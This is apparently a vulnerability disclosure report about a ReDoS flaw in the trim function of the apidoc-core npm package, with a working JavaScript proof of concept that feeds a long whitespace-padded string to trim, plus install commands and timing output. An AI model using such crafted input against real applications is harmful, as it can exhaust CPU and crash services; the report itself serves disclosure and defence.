✍️ Description

A ReDoS (regular expression denial of service) flaw was found in the apidoc-core package. An attacker that is able to provide crafted input to the trim function may cause an application to consume an excessive amount of CPU. Similar attack ref: https://nvd.nist.gov/vuln/detail/CVE-2020-7753

🕵️‍♂️ Proof of Concept

Create the following PoC file:

// PoC.js
var trim = require("apidoc-core/lib/utils/trim")

function build_attack (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}
var time = Date.now();
trim(build_attack(50000))
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)

Execute the following command in another terminal:

npm i apidoc-core
node poc.js

Check the Output:

time_cost: 2546

💥 Impact

This vulnerability is capable of exhausting system resources and leads to crashes.